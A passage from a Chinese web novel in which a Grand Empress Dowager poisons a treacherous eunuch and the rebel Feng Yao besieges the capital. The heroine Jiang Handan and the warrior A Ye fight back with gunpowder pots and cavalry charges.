慈宁宫中,太皇太后正在试御膳房新做的点心。 太皇太后崇尚节俭,承德帝带来的奢靡之风一概全减。御膳房的点心里,枣泥的换成豆沙,蟹粉的换成咸蛋黄,什么熊掌鹿茸,一律换成牛羊肉,也不要过于精巧的花样,一律简单素洁。 姜菡萏来的时候,冯秀亭正在旁边回话。 冯秀亭的投诚起了作用,他原本就管着宫中庶务,太皇太后听政后也没有换人,且让他有空多去东宫走走,和太子多多亲近。 “菡萏来得正好,”太皇太后笑眯眯道,“过来尝尝新点心。” 又命宫人斟了一杯菊花茶给姜菡萏,“先喝口茶,这是去年御花园里的花,哀家亲手晒的。外头热吧?” 外头太阳正大,姜菡萏确实是渴,杯子里的茶水喝了大半,然后才说出离京的话。 “你是不惯热闹的,想走就走吧。只是阿明一年大似一年,你的清净也享不了多久了,心里可得有个数。”太皇太后亲手给姜菡萏递了一只豆沙小粉糕,“尝尝,哀家觉得比枣泥的强,不粘牙。” 说着,又递了一只给一旁的冯秀亭:“老冯也尝尝。” “哎,谢太皇太后。”冯秀亭躬身接过,脸上露出恰到好处的感动之色,多一分便过于外露,少一分便似无动于衷,他细细品尝,“确实是比枣泥清爽多了,还比枣泥便宜七八成,单只这一项,每个月就能省减一二百两呢。” 太皇太后甚是满意,又拿了一只蛋黄酥给冯秀亭。 冯秀亭连忙道:“小姐还未尝,老奴不敢僭越。”说着捧给姜菡萏。 太皇太后笑骂道:“你个老东西,还怕哀家下毒害你不成,非得找个人试过才肯吃。” 冯秀亭带笑,控着腰,连说不敢。 姜菡萏才喝了一肚子茶水,又吃了一只粉糕,已经觉得有点腻,蛋黄酥便只尝了两口。 倒是冯秀亭陪着太皇太后决定这一桌子点心何去何从,吃了不少。 定完留下的部分,御膳房的大太监领命而去,姜菡萏也准备告辞了。 太皇太含笑点头,说过些日子也让风明去松散松散。 祖孙俩正在话别,冯秀亭本来一直面带笑容在旁侍立,忽然间面色变得惨白,面容变得扭曲,他向太皇太后伸出手:“你……点心……有毒……” 只来得及说出这么几个字,他的七窍流出鲜血,直直倒在地上,不动了。 赵公公仿佛早就等着这一幕,带着人进来,轻手轻脚把人抬下去。 姜菡萏呆住。 “莫怕,”太皇太后道,“点心是有毒,但你已经服过解药了。” 姜菡萏:“……那杯菊花茶?”她吃的和冯秀亭吃的几乎一模一样,只是比冯秀亭多喝了一杯茶。 “老奸巨猾的背主之奴,哀家如何能让他留在阿明身边?你还不知道吧,昔日那个段璋在府中炼人丹,你想想看,段璋才多大年纪?哪里有要用那种丧尽天良的法子续命?还不是给这老东西炼的?” 太皇太后道,“今日你来得也巧,多了一个你,他心中戒备放下不少,毕竟哀家怎么着也不可能谋害这一代的姜家嫡女。” 姜菡萏点点头,脸色有点发白。她已经见惯生死,可是一面谈笑一面取人性命,她还做不到。 “以后就好了,都是这样过来的……我年轻的时候头一回干这种事,也是恶心得想吐呢。” 太皇太后的眼睛洞悉世情,轻叹了一声,“走吧,哀家送送你。” 姜菡萏扶着太皇太后,太皇太后把她送到慈宁宫门口,轻轻拍拍姜菡萏的手,正要说话,忽然间看着远处,眯起眼睛:“那是什么?” 年老之人看远处有时更为清楚,姜菡萏顺着太皇太后的视线望过去,只看见琉璃瓦在阳光下金黄灿烂,再往上是湛蓝的天空,一朵云都没有。 “那是不是烟?”太皇太后道,“有浓烟。” 姜菡萏仔细瞧了又瞧,发现西面的天空上确实有淡淡的烟雾弥散。 能升到这个高度还依稀可见,底下确实应该是浓烟。 “是不是哪里走水了……” 姜菡萏的话还没有说完,整个人猛地僵住,一股寒气沿着尾椎一直爬到后脑勺。 上一世,她见过这样的烟。 这是,狼烟。 只有城门遇袭,将士们才会燃起狼烟,通知城内。 “太皇太后!”一名羽林卫从外奔进来,气喘吁吁,惊魂未定,“西城门告急,有叛军攻城!” 宫人相顾失色,太皇太后处变不惊:“何方叛军?!” “叛军从西而来,为首的乃是……乃是前贤王风曜!” 第66章 第66章上一世她已经逃过了,这…… 起初,谁也没有想到一场大战即将来临。 城中刚刚取消了各项杂税,鼓励城外的百姓进城摆摊,不收摊位钱,所以每一天城门口的人群都是乌泱泱一大片。 敬老王爷怕人多出乱子,将自己的府兵派往京城各处城门,帮助疏通人流。 敬老王爷的府兵可比懒散的城门卫警觉得多,最开始发现异常的,便是一名老府兵。 他发现今天进来的菜贩里面,年富力强者远比平日要多。 要知道挑一担子菜进城来卖,往往要耽误一整天的功夫,挣的钱也不多,所以多半是老头子老太婆做这件差事,家中的栋梁柱要么出去做工,要么在家务农。 在连续看到第五个成年汉子挑着菜担进城之后,老府兵拦下他。 也许是历经沙场的老府兵身上杀气太重,也许是那名汉子太过紧张,总之在被拦下的那一瞬,汉子发出一声大吼,拔出了菜担底下的刀。 另外几名汉子纷纷扔开菜担,拔刀砍向身边的城门卫和百姓。 “关城门!”老府兵大吼,“点狼烟!” 这名老府兵救了全城人,城门关上,狼烟点起,五人之中三人被诛杀,两人脱逃。敬老王爷赶到的时候,老府兵身受八处刀伤,奄奄一息。 “好样的!”敬老王爷大声道,“不愧是老子带出来的兵!” 老府兵脸上露出明亮的神采,溘然而逝。 敬老王爷登上城头。 京城的城墙经过千百年来历朝历代的加固,越来越结实,越来越坚固。大央已经太平了近两百年,敬老王爷少年从戎,每一次登上城头,看到的都是蔚蓝的天空和远处苍翠的树木。 此刻,铺天盖地的军队从西方涌向城下,这样快的行军速度下保持着整肃的军容,至少有两三万人。 旌旗猎猎,帅旗下的主将白衣银甲,面目俊朗,是这么多年来深孚众望的贤王风曜。 “敬王风政,勾结东宫,残杀忠良,谋害陛下,罪大恶极!” 风曜身边一名将领身形魁梧,声若洪钟,每一个字都清清楚楚送上城头上,“贤王风曜,持陛下密诏,讨逆党,清 君侧,安天下,救苍生!尔等若肯弃暗投明,贤王既往不咎,若是死不悔改,贤王绝不宽贷!” 敬老王爷没见过这个人,但新近补进朝廷的有一批得力官员,其中一人凑近提醒:“此人名叫汤博望,曾因冒犯姜家嫡女之罪被刑部通缉。” 敬老王爷点头,身边立即有部属大声骂战,一条条历数风曜罪过,将风曜的身世大白于人前。这位将军是从战场上摸爬滚打过的,知道兵士们多数没念过书,文绉绉的没人听得懂,便专挑恶毒俗辣的角度痛骂,一时城墙上的气势高涨。 敬老王爷面色从容沉着,实则心中紧绷。 虞仙芝一死,他便命人去西山封锁通天观,捉拿里面的道士,并将山卫打发去了西山别宫,让他们在别宫等候军令。 就算山卫全部背叛,风曜也凑不出这么多人。这支队伍到底是哪里来的? 如果不是那名老府兵发现端倪,那些扮成菜贩子的先遣兵会控制住城门,到时候这些甲兵就能长驱直入,屹立千年的京城会像牛马一样被他们宰割。 可即使守住了城门,城门所有能够上城头作战的兵士加起来不会超过八千人。 其中一大半还是中看不中用的羽林卫。 城头上满是谩骂和讥笑,城下的风曜却是稳如泰山。骂得再狠又如何?成王败寇,历史只由胜利者书写。 他曾经管着刑部与户部,最清楚京城的布防实力。他那个便宜父皇也知道自己天天享乐不得民心,生怕别人造反,不是把名将拘在京中,就是把各家府兵一削再削,连各府的卫尉都削减了一半,美其名曰为国俭省。 他曾经为此再进谏,被承德帝骂得狗血淋头。 此刻,他由衷鄙视那个愚蠢的自己。承德帝所有的荒唐行径,都成为了给他的馈赠。 “多谢了,父皇。”风曜望着皇宫的方向,最后一次喊出这两个字,抬手下令。 黑压压的军队开始移动,前方骑兵引路,左右大型盾甲阵护体,密密层层的盾牌下护着几名兵士,向城门前移动。 敬老王爷从未见过这种阵仗,有什么东西需要这么多的盾甲保护?看大小也并非常用的攻城重车。 敌人已经进入箭矢的射程,不容多想,敬老王爷一声令下,城头箭矢如雨,向城下的军队射去。 永兴四年五月廿三日,大央立国一百八十九年之后,京城的城墙再度迎来刀兵。 居高临下,敬老王爷占据着地利,但风曜派出的盾甲方阵人数众多,纵然伤了外围,仍旧拿里面的人无计可施。盾牌围成的方阵就像一只被甲壳包裹的乌龟,缓慢却坚定地朝着城门行近,付出死伤过半的代价,最终停在城门前。 他们手中除了盾牌没有别的武器,敬老王爷不相信他们能凭盾牌撞开京城这扇厚重的城门。 可就在这个时候,他看见方阵中心动了,最里面的人手里仿佛拿着一样东西。 那是……陶罐? * 城内还有很多百姓尚不知道消息,各自做着各自的营生,只是看见羽林卫、各府衙的卫尉、各大世家的府兵纷纷倾巢而出,马踏长街,才觉出一丝不对劲。 恐慌尚未扩散,姜菡萏没有坐马车,直接骑马赶回姜家,中途不小心踏翻了人家菜摊,她直接扔下一只耳环。 摊主是个带孙女的老妇人,尚未反应过来,一只纯金嵌宝的耳环就落进菜盆里,紧跟着飘来一句:“快回家!” 太皇太后本不想让姜菡萏走,这种时候,皇宫才是最安全的地方,宫墙最高,守卫也最多。 姜菡萏只说了一句话:“我回去做火药,炸死他们!” 太皇太后想到那场惊天动地的爆炸,立刻放行,让羽林卫护送。 姜菡萏直奔丹房,一面叫齐所有人,告诉他们眼下的情况。 环顾一圈,许家姐弟本是跟着她入宫的,自然在。顾晚章还在善堂,一时没有回来。苏妈妈与阿喜她们惊慌不定,六神无主,但还是听话去给姜家各房传话。 阿夜不在。 “阿夜!”姜菡萏大叫。 无人应声。 “你再不出来我就生气了!我不要你了!”姜菡萏叫得更大声。 仍然无人应声,府中诸人也没有谁见过阿夜,阿夜像是消失了。 火已经烧到眉毛,姜菡萏咬了咬牙,进丹房开始配火药。 丹房是后建的,留下来的材料本来就不多,硫磺硝石等更是少得可怜,姜菡萏勉强配了几只陶罐,让人赶紧去梁州传令,府兵和材料她都要。 然而传令的人很快折返回来,带来一个糟糕的消息:叛军并非只攻一座城门,京城四门全被包围了! 紧跟着暗卫传来更详细的消息——除了主攻的西门是叛军主力所在,其余三门更有一万人,加起来总共约有六七万人之数。 姜菡萏惊呆了,上一世汤博望攻进京城,也不过五万人,短短一个月不到,风曜到底是哪里来的兵马? 上一世的五万人只花了三天时间便攻破京城,现在有六七万人……尤其城内兵力都集中在西门,另外三门只有各府衙的卫尉及各世家的府兵坚守,满打满算,每一处最多五百人。 大热的天气,姜菡萏后背一片冰凉……这怎么可能守得住? 许南风道:“小姐,战场危险,我带你突围离开京城!” 姜菡萏定定神:“不,我要留下来。” 上一世她已经逃过了,这一次,她不会再逃。 不过在这一连串的噩耗之中,暗卫总算带来一个好消息:“城内有一支人马,不知是哪一家的府兵,弓马娴熟,兵甲精良,比咱们家的府兵还要狠厉。他们来回驰援,三门暂且无虞。” 姜菡萏想不起上一世谁家出过这么厉害的府兵……世上最厉害的府兵当属姜家,但那时姜家和天子一起出逃了。 如今再多想也无用,她只能去做自己该做的——风曜在哪儿,她就去炸哪儿! 许南风终是不愿让姜菡萏亲赴战场,要姜菡萏把火药给他,他去杀敌。 “不,这东西只炸过死物,我要亲眼看看它的威力。” 既然不逃,那当然是要冲到最前面。 姜菡萏怀抱着陶罐,就像怀抱着死过一次的自己。 重生之后她一直都在想着怎么保住小命,怎么活下去。可此时此刻,战火重来,百姓离乱,那些保命的念头荡然无存,脑海中只剩下滔天的恨意与决然——来吧,都别活! 这是姜菡萏第二趟纵马狂奔,街上明显乱了许多,铺子关了大半,街上四散着来不及收拾的东西,孩子们哭叫着找大人,大人们手忙脚乱,慌不择路。 一行人花了比平时多出一倍的时间才冲到西城门,在他们的身后传来雷鸣般的马蹄声。 姜菡萏在马背上回首,刹那间仿佛觉得天地都暗下来。那是一群黑衣玄甲的骑兵,连马身上都披挂着漆黑的面甲与背甲,所有人都戴着漆黑面罩,只露出散发着寒意的眼睛。 他们仿佛是从地狱的裂缝中涌现的黑暗之火,带着冰冷杀气毁灭一切。 庆州的玄甲军! 姜菡萏还没来得及去想庆州的兵为何会出现在京城,前方城门外突然爆发出一 声巨响,千百年来一次次加固、一次次加高、从来不曾被撼动的城门发出一声喑哑的悲鸣,灰尘扑簌簌而落,木屑纷飞,石头迸射,烟尘滚滚。 姜菡萏的马冲在最前面,首当其冲。 “小姐!” 姜菡萏听到许南风的声音,可那声音听起来很遥远,像是隔着水面传来。 她比任何人都知道这声响动是什么,也比任何人都清楚,她逃不掉。 可就在这个时候,一道黑影如苍鹰般从天而降,将她扑下马,贴地滚出一丈开外。 马匹发出嘶鸣,破碎的木头和石头扎进它的身体,它重重倒下,鲜血迅速染红大地。 如果再慢上半分,一起倒在血泊里的就是姜菡萏。 此刻她被很好地保护在怀中,冰冷的玄甲有着不可思议的温柔,哪怕在翻滚的时候,她的背脊都被小心地保护着,没有一丝磕碰。 玄甲的主人停在她的上方,高大宽阔的身体替她挡住了残余的石头,她听到石头撞在甲衣上的金石之声,听到许南风带着人围上来,听到城头的惊叫与杀声……天地崩陷,世间混乱,面甲后的眼睛布满血丝,只有眸子深处的关切与心疼还是那样熟悉。 “阿夜……” 消失多日的人终于又出现在面前,姜菡萏有无数的话的想问他,但眼下哪有这功夫?“快,带我上城——” 她的话没能说完,城门再次发出一声闷响,这一次是盾牌的冲击声。 城门外,风曜拔剑,厉喝:“第一个杀入城中者,赏黄金千两,官至大将军!” 兵士山呼,发起冲锋,大地仿佛在震动。 阿夜抱着姜菡萏起身上马。 姜菡萏身陷在他的怀前,道:“阿夜,我得上城楼!” “不。”阿夜直盯着前方,眼神冷厉,“此刻最安全的地方就在我身边,抓稳。” 最后一个字落地,马匹撒开四蹄,玄甲军向着城门口冲去。 第67章 第67章求太皇太后赐婚 两股洪流冲向彼此,在狭窄的城门处碰撞在一起。 阿夜冲在最前方,刀光映着日光,所过之处,鲜血飞溅,无数叛军向他涌来,他带着姜菡萏分开人浪,连人带马宛如一支离弦的箭,笔直地射向帅旗下的风曜。 姜菡萏上一世经历过乱世,但并没有遭遇过战争。 这是她第一次离战火这样近,喊杀声与惨叫声汇成海洋,根本分不清哪里是守军,哪里是叛军。箭矢、长枪、刀尖、剑刃……数不清的武器向她刺来,每一次她都以为自己要命丧当场。 但每一次,无论刺向她的是什么武器,最终都会被阿夜一刀砍断。 阿夜手里的刀快成了一片银色的薄光,这片刀光转向哪里,哪里便要血流成河。 姜菡萏开始的时候根本无法反应,只能瞪大眼睛脑海一片空白,后来有经验了,开始无师自通,学会往阿夜怀里缩一缩,一只手抓着阿夜的披风,试图把自己包裹起来。 然后就感到身后的阿夜好像僵住了,水泼不进的刀光有了一瞬间的凝滞。 战场上这一瞬的凝滞几乎是致命的,一柄锋利的银色长枪突破刀光的防御,几乎斩到马首上。 姜菡萏心中一凛,连忙松开他的披风,也许是她不该在马背上拉拉扯扯。 然后“呛”然一声,金铁交鸣,阿夜的刀格开那柄长枪,长枪从中断为两截。 叛军将领发出一声大吼,从身边兵士手中拿起第二柄长,斩向姜菡萏。 “为什么?为什么要陷害我?!” 姜菡萏在刀光交错中认出了他的脸——是汤博望! 上一世汤博望破城之后不单放任部下兵将烧杀抢掠,还与部下比赛谁杀的人最多,其凶残暴戾,在很长一段时间里都是百姓们的噩梦。 现在这张满是杀气的脸就在眼前,姜菡萏上一世的噩梦被唤醒了。 黑色披风扬起,挡住了姜菡萏的视线,将她整个人裹入怀中,阿夜的声音响在耳畔:“抓牢了。” 姜菡萏的世界变成了黑色的,仿佛置身于漆黑海洋,一切都变得遥远而不真实。 她紧紧抓着披风,阿夜成为她所能栖身的唯一一座孤岛,她从这场战争中生还的希望全在背后这个倚靠上。 马背颠簸,刀锋与刀锋相交,杀声伴着骂声,汤博望骂不绝口,他恨姜菡萏,也恨阿夜,他要他们死! 自从阿夜踏入战场,姜菡萏没有看见哪一个对手能缠住他这么长时间。 姜菡萏忍不住想将披风拉下来一点,然后就被一只手捂住了眼睛,好像有什么东西溅上披风,带着浓重的腥气。 “别看。”阿夜拍马便走。 姜菡萏拉下他的手臂,探头回望,汤博望兀自坐在马背上,但没有了头颅。 “不怕做噩梦吗?”阿夜的声音从头顶传来,带着一点喘息,即使是强大如阿夜,杀死汤博望依然费了不少力气。 “你不懂,他死了,我的噩梦就少了一个。”姜菡萏简直想把这一幕画下来,没事就看看,驱驱邪。 “他在那儿。” 阿夜指的是风曜,他们两人同一个目标。 汤博望的死动摇了叛军的军心——这六七万人里,其中一万五千人是虞仙芝这么多年来私下豢养的私兵,其余五万人皆是汤博望这几年间四处招揽来的。 这五万人认汤博望更甚至于认风曜,发现汤博望战死,五万人丧失了斗志,退意开始萌生。 “弃暗投明者,缴械不杀,既往不咎!”姜菡萏粗着嗓子,大声喊。 玄甲军一直紧紧追随在阿夜身后,闻声同时喝道:“缴械不杀,既往不咎!” 这八个字喊得震天响,“当啷”一声,有人眼睛一闭,扔下了刀。 只要有人带头,这种事情就会像疫病一样疯传。 可没等这片投降的举动扩散,一支长箭从叛军后方射来,直接射穿第一个士兵的胸膛,紧跟着,叛军帅旗下的传令兵大声喝道:“主帅有令:阵前投敌者,杀无赦!” 原本犹豫着想要投降的叛军一咬牙,挥刀重新冲上来。 “兀那甲士!”敬老王爷的声音从城头传来,响若洪钟,向阿夜道,“向西冲,本王替你开路!” 与这番话一起抵达的是一支长箭,直接把一名向着阿夜冲来的叛军将领射落下马。敬老王爷老当益壮,用的是个和张贺一样的张弓,臂力惊人。 但冲向阿夜的叛军将领不止一人,风曜身边的将领几乎是倾巢而出。 阿夜的骁勇在战场上比单打独斗时更加惊人,带着身后的玄甲军化身成一支尖锥,一切阻挡在这支杀戮机器面前都会化为血雨。 姜菡萏依旧裹着阿夜的披风,只露出一颗脑袋,她要挡住怀里的陶罐——风曜认得出这是什么。 再近一些……再近一些……陶罐就能扔到风曜身边了! 亲历过这种战争的人们永远不会忘记这样的画面:身披玄甲的修罗所过之处血雨纷纷,他的怀前靠着一名美若新雪的女孩,她的眼中竟然也燃烧着和修罗一样的杀意。 阿夜的刀光收割一条又一条的性命,慢慢逼近风曜。 风曜身边的将领层出不穷,而自己稳居在帅旗之下,神情冷漠地接过部下奉上的弓箭,拉弦上弓,箭尖对准阿夜。 阿夜的喉咙里发出一声低吼,他永远也不会忘记风曜张弓射箭的模样。 然而下一瞬,风曜射出的箭尖微微下调,对准的是他怀前的姜菡萏。 阿夜握刀的手猛然发紧,狠狠将那支箭矢切作两半。 但几乎是同时,另一支箭矢扎进他的左肩——他那一刀太过用力,来不及回防第二箭。 帅旗下的风曜嘴角露出一丝冷笑。愚蠢的兽奴,你的弱点太过明显了。 “阿夜!”姜菡萏知道这时候不能拔箭,箭尖有倒钩,拔箭反而会伤得更厉害。她折断箭杆,撕下自己的衣袖,先替阿夜止住血,然后试图夺过阿夜手中的缰绳,“我来控马!” 阿夜没有说话,但低下头,下 颔轻轻地擦过她的鬓角,甜馥的玫瑰香气是世间最好的良药,能治愈他身上的一切痛楚,他握住缰绳没有松手,低声道:“缰绳很粗。” ……会磨破你的手心。 说完,他一夹马肚,再次向叛军帅旗突进。 叛军变阵,盾甲层层护卫在风曜身边。 玄甲军也跟着变换阵形,原本在后追随的军士冲上去变成前锋。 刹那间,短兵相接。 姜菡萏在人群中搜寻着风曜,风曜就像乌龟一样缩进了甲壳深处。而身后的阿夜刀光依旧耀眼,但离得这样近,她明显感觉到阿夜的呼吸比之前急促了。 这就是风曜的战策,这个胆小鬼伪君子根本不敢正面和阿夜抗衡,所以从一开始使用的就是车轮战术,由包括汤博望在内的部将去消耗阿夜的体力。 他一定躲在什么地方,准备偷偷放冷箭! 姜菡萏:“阿夜,你能不能装一下受伤?或者,装一下快没力气了?” 阿夜没有多问,手上的刀锋停顿了一瞬,一杆长枪扎在他铠甲的肩头吞口上。 远看似被长枪扎中,但实际上枪尖刚好被吞口卡住,将领一时拔不出,阿夜手起刀落,血光洒过,叛将落马。 而几乎是同一时间,那片紧紧合拢的盾甲方阵裂开一道口子,一张弓箭露出来。 就是现在! 姜菡萏吹亮火折子,点燃引线,将陶罐对准方向,扔了过去。 为了让陶罐尽快爆炸,这一次的引线她做到了最短。 盾甲反应极快,猛然合拢,但引线已经烧尽,“砰”地一巨响,盾甲方阵东倒西歪。 姜菡萏趁此机会,接二连三,把手里的陶罐全砸过去。 坚不可摧的盾甲方阵在这样恐怖的爆炸力面前崩溃了,浓烟过后,地上一片狼藉。 姜菡萏心跳快得不可思议,耳朵里嗡嗡作响,这一刻她听不到别的任何声音,直直盯着前方。 夏日的长风吹散烟雾,满地尸首间微微一动,一个人慢慢站了起来。 是风曜。他的银甲破烂,半边脸上满是血痕。 他手里扶着一名内侍,内侍单薄削瘦,正是当初在斗兽场为风曜追拿阿夜的那一个。内侍的身体在颤抖,为了救主人,内侍失去了一条手臂。 “哈哈,哈哈……”风曜发出笑声,比哭声还要难听,他剩下的一只左眼死死盯着姜菡萏,“原来是你……原来是你……姜菡萏,原来降仙台的神罚是你!” “为什么?为什么?!”风曜狂喊,“为什么要这样对我?!” 姜菡萏的耳鸣消失了,脸上露出失望的神情。 真可惜,这样都没有炸死他。 为什么?上一世临死之前,她也是这样问他的。 他是怎么回答她的? “因为你是姜菡萏,因为你是姜家嫡女,因为你是朕的皇后,朕不能允许任何人得到你,你必须跟朕一起死……” 于是她死了,然后,重活一世,终于有机会把这个答案还给他。 “因为你是风曜,你是假冒的皇子,你是叛军的统帅,你根本不配活着!” “啊——为什么你会变成这样?!”风曜仰头发出一声痛嚎,本就摇摇欲坠的头盔滚落,头发披散,鲜血染红面颊,“你以为你还能活着离开吗?看看你的四周,这个兽奴已经筋疲力尽,你们都要死在这里!” 姜菡萏冲到这里,全凭一股恨意支撑,此时回头环顾,才发现他们已经冲得太远了。 玄甲军在其它三门各留了一些,此时追阿夜而来的总共只有五十来人,一番冲锋陷阵,即使有城楼上的敬老王爷掩护,到此时也只剩三十来人。 随后冲出来的羽林卫跟不上玄甲军的速度,被远远甩在后面,尚在与叛军乱战。而玄甲军孤军深入得太远,四周全是叛军,乌泱泱千万人将他们围困住。 “哈哈!”姜菡萏仰头大笑,“谁告诉你我想离开?我来这里,就是为了跟你同归于尽!风曜,跟我一起死吧!” 她从披风下掏出一样东西,扔向风曜。 方才那场爆炸的惨状所有人都看见了,几乎是在她出手的同一时间,所有人抱头鼠窜,包括风曜。 姜菡萏低声:“就是现在,快走!” 阿夜发出一声长哨,掉转马头,冲出包围。 那只是一块硫磺石,阿夜生日送给她的。 因为没找着阿夜,她便随手放进了荷包,一直带在身边。 硫磺有着和火药一样明显的气味,但不会爆炸,风曜很快反应过来,大怒:“抓住他们!生要见人,死要见尸!” 叛军应声而动,本已松散的包围圈开始收拢。但玄甲军的速度太快,阿夜的刀又太锋利,挡者披靡。 “小姐!”许南风的吼声隔着人群传来,他带着府兵前来接应,眼看两队人马就要汇合。 “放箭!放箭!”风曜捂着右边眼睛,大吼,跟着身体向后倒去,晕死在内侍怀中。 * 马匹冲破城门留下的残破缺口,最终归来的玄甲军只有二十人。 敬老王爷亲自下来迎接,待发现这率领区区五十人在乱军中杀了个来回的英雄竟然是阿夜,敬老王爷又惊又喜:“好小子,本王没有看错人!”正要拍阿夜肩膀时,猛然瞧见上面还扎着一幅浅绿色的衣袖,“快,快传军医!” “不妨事。”阿夜直接把箭矢拔了下来。 姜菡萏一声惊呼。 “真的不妨事。”阿夜把伤口给姜菡萏看,肩上是有一道口子,但是不深,倒钩甚至还没有扎进去。 “好小子!”敬老王爷一直忍着的巴掌终于如愿拍了下去,“这一身的好肌肉,绷紧了跟铁打的一般,箭都射不进去。” 城楼下,叛军正在撤退。 主帅重伤,多名将领阵亡,叛军遭受了重创,撤退的时候手忙脚乱,还不忘在死人身上捡东西。 但敬老王爷面色沉重:“看到了吗?只有后面那些人稀稀拉拉,那些估计便是汤博望拉拢的,但中军帅旗退而不乱,军容不减,那些才是风曜真正的实力。” 谁也没有想到第一天的战况就这般惨激烈,守军城门告破,叛军主帅受伤。 姜菡萏离开城墙的时候,工匠们已经在修缮城门。 但屹立千年的城门都能被炸塌,仓促修缮好的城门,又能顶多久? 风曜手里有火药,但应该不多,不然他不会乖乖站在那里等她去炸,早在阿夜一路冲锋的时候,他就应该用上火药了。 有火药,但不多,所以只能用在刀刃上,比如破城门。 叛军有人数有压倒性的优势,只要城门破开,拿下京城便易如反掌——风曜一定是这样想的,只是他没有想到阿夜有玄甲军,姜菡萏有火药。 直到这个时候,姜菡萏才有空问阿夜:“为什么玄甲军会在京城?” 自从离开战场,阿夜便与姜菡萏拉开了距离,低声道:“我叫他们来的。” “叫来做什么?” “杀尽风家人。” 姜菡萏:“……” 姜菡萏:“!!!!!” 姜菡萏:“阿夜!!!!!” “我知道你会生气。”阿夜别开视线,“可我不能什么都不做……菡萏,我……” 他一定要做点什么,不然,他可能会疯。 他甚至很庆幸这场战事的来临,他终于有事可以做了,可以光明正大地杀人,杀尽所有人。 刀光掠过头颅,鲜血四溅,滋味鲜美……他可以暂时忘记那个事实——菡萏永远不可能嫁给他,菡萏只会嫁给姓风的。 姜菡萏不知道他具体在想什么,但看到他眼神中露出的杀机,就知道他准没想什么好事。 她头疼:“你要杀姓风的,那就在战场上杀了风曜好不好?你杀这个姓风的,天下人都会感谢你。” 阿夜抬起眼,视线落在她脸上:“……你会吗?” “会!”姜菡萏回答得斩钉截铁。 “好。”姓风的里面,他本来最想杀的人就是那一个。 “话说,铁甲军是怎么混进城的?”姜菡萏实在好奇。降仙台神罚之后,京城各处门口皆有敬王府的府兵盯着 ,连风曜的手段都被看出了破绽,阿夜到底是怎么做到的? 阿夜:“你帮我的。” 姜菡萏:“???” 阿夜掏出了一枚令牌。 那是慈宁宫发的通行令牌。 连宫门都能进,城门自然没问题。 姜菡萏:“……” 这确实是她帮阿夜要来的。 也许这就是冥冥之中自有天意。 * “趁叛军刚退,马上派人求援!号令各州郡勤王!” “通告所有家中建有丹炉的人家,上缴硫磺石等物,可得重赏!” “京中所有壮年男子,不论士农工商,一律发给甲胄兵器,上阵守城!” “捐粮二千石者,可得不记名官凭一份!” “以双倍工钱征召工匠!” …… 诏令一条条从皇宫中传出。 每一条背后都是城中的困境——缺人、缺粮、缺军械! 京城并不产粮,百姓所吃的粮食每日是由运河输送而来,城中寸土寸金,粮商们的粮仓皆是建在城外,多半已经落入风曜之手。 城中就算还有囤粮,可只出不进,很快难以为继。 上一世皇家那么快就放弃了京城,固然是因为承德帝懦弱怯战,也是因为京城实非固守之地。 太皇太后上一世宁愿殉国也不愿离京,这一世轮到她老人家做主,又有敬老王爷相助,两位老人家的风骨尚未被承德帝带来的浮华柔亮之风浸染,行事干脆利落,绝不拖泥带水,很快城中便大改了模样,不单壮年男子拿起武器上了城头,孩子与女眷也在城下帮忙搬石头。 风曜虽然暂时负伤,但对城门的进攻从未停止,搬石头的人群里很快只剩下孩子,因为女眷们要去照料伤兵。 皇宫中,宫人们奉太皇太后之命,将细布衣裳裁成布带,送往前线给将士们包扎——城墙上半数是只拿过菜刀的百姓,他们很容易受伤,纱布绷带供不应求。 太后与丽阳带着一群宫人,各挎着一篮子裁好的棉布,经过宫门。 羽林卫感动不已:“娘娘与殿下何等尊贵,竟亲自为我们做这些。” 太后笑道:“都是应该的,我们也做不了旁的。” 羽林卫施礼放行,太后带着丽阳离开皇宫,走过街口,太后把篮子往身后宫人手里一放:“哀家有些累了,先歇歇,这东西伤兵等着用,你们快快送过去。” 宫人们领命而去。 “有些累了”的太后目光灼灼,等宫人们走远,立刻拉着丽阳寻找起来:“花枝巷……我记得的,以前没当太后的时候逛过好几回……” 丽阳被她拉着,浑浑噩噩地走在大街上。 除了跟鹿长鸣去乐坊那次,她从来没有这样自己走过街头。可那次大街上热闹无比,乐坊里歌舞升平,而今街上店铺零落,行人匆匆,不时有人推着板车疾奔而过,板车上躺着伤兵,不知是死是活,鲜血沿着木板的缝隙滴落在地上,很快被暴晒下的石板吸干净。 街上已经很久没有清扫过了,到处都是看不住名目的脏东西,老天也不开眼,多日是未下过雨,到处都是灰扑扑的,风里带着让人难以呼吸的干热。 “对,就是这里。”太后拉着丽阳穿进一条小巷,小巷深处,一辆车在等着。 “鹿爱卿!”太后深情地唤了一声,鹿长鸣立刻从车里跳下来,先礼了礼,然后叹道,“臣……我就知道二位是金枝玉叶,不知道什么叫做破烂打扮,马车里准备了衣裳,二位快去换上。” 太后看看自己身上,全是棉布,一点绸子都不见,这还不够破烂? 但现在行事全指着鹿长鸣了,这孩子也乖巧,事事考虑得妥当,太后便拉着丽阳上车,片刻后,两人都换了一身粗布衣衫,肩头裤角还打着补丁。 鹿长鸣贴着花白的胡子,戴着斗笠,穿着粗布,趿着草鞋,端然一副庄稼汉子的打扮。片刻后,他驾着牛车离开小巷,向西门进发。 距离第一天开战已经过去二十多天,西门虽是叛军中军所在之地,进攻却没有其它三门那么频繁。风曜有时候还会放百姓出入。敬老王爷也睁一只眼闭一只眼,停战之时进来的固然会有奸细,可同样也有运粮运药的人,还有他们派出去求援的暗探。 鹿长鸣身边堆着几只空口袋,扮演的就是进城卖粮顺便接妻女回家老农。 那道补了又破、破了又补的城门尚在守军的掌控中,他们对送粮的人格外宽待,没有多作盘问便放了行。 正中午,烈日当空,这样的天气开战,还未被敌人杀死,便已中暑热死。两边兵士都蔫蔫地在休整。 上一场作战时伤兵被换下来,能救的在墙根下包扎,救不了的用板车推回家等死。 包扎的女眷不知是想到自己的亲人,还是正在包扎的便是自己的亲人,一面包扎伤口,一面泪如雨下。 马车缓缓驶出城门。 鹿长鸣低声交待:“银子在包袱里,坊册和路引也在。你们可以去找风曜,也可以去别的州郡过活。” 太后心说我们当然是找风曜。虽然宫里人人都说风曜是虞仙芝的儿子,但太后是不信的,太后觉得这肯定是太皇太后一党的阴谋,给她的宝贝孙子抹黑! 现在她的儿子不是昏睡就是发疯,她能指望的就只有这个孙子了。而且明眼人都看得出来,风曜围而不杀,那是风曜仁慈,等着他们自己投降呢。她这个做祖母的若等到风曜打进京城才认孙子,孙子还能跟她亲吗?她这太后还能当吗? 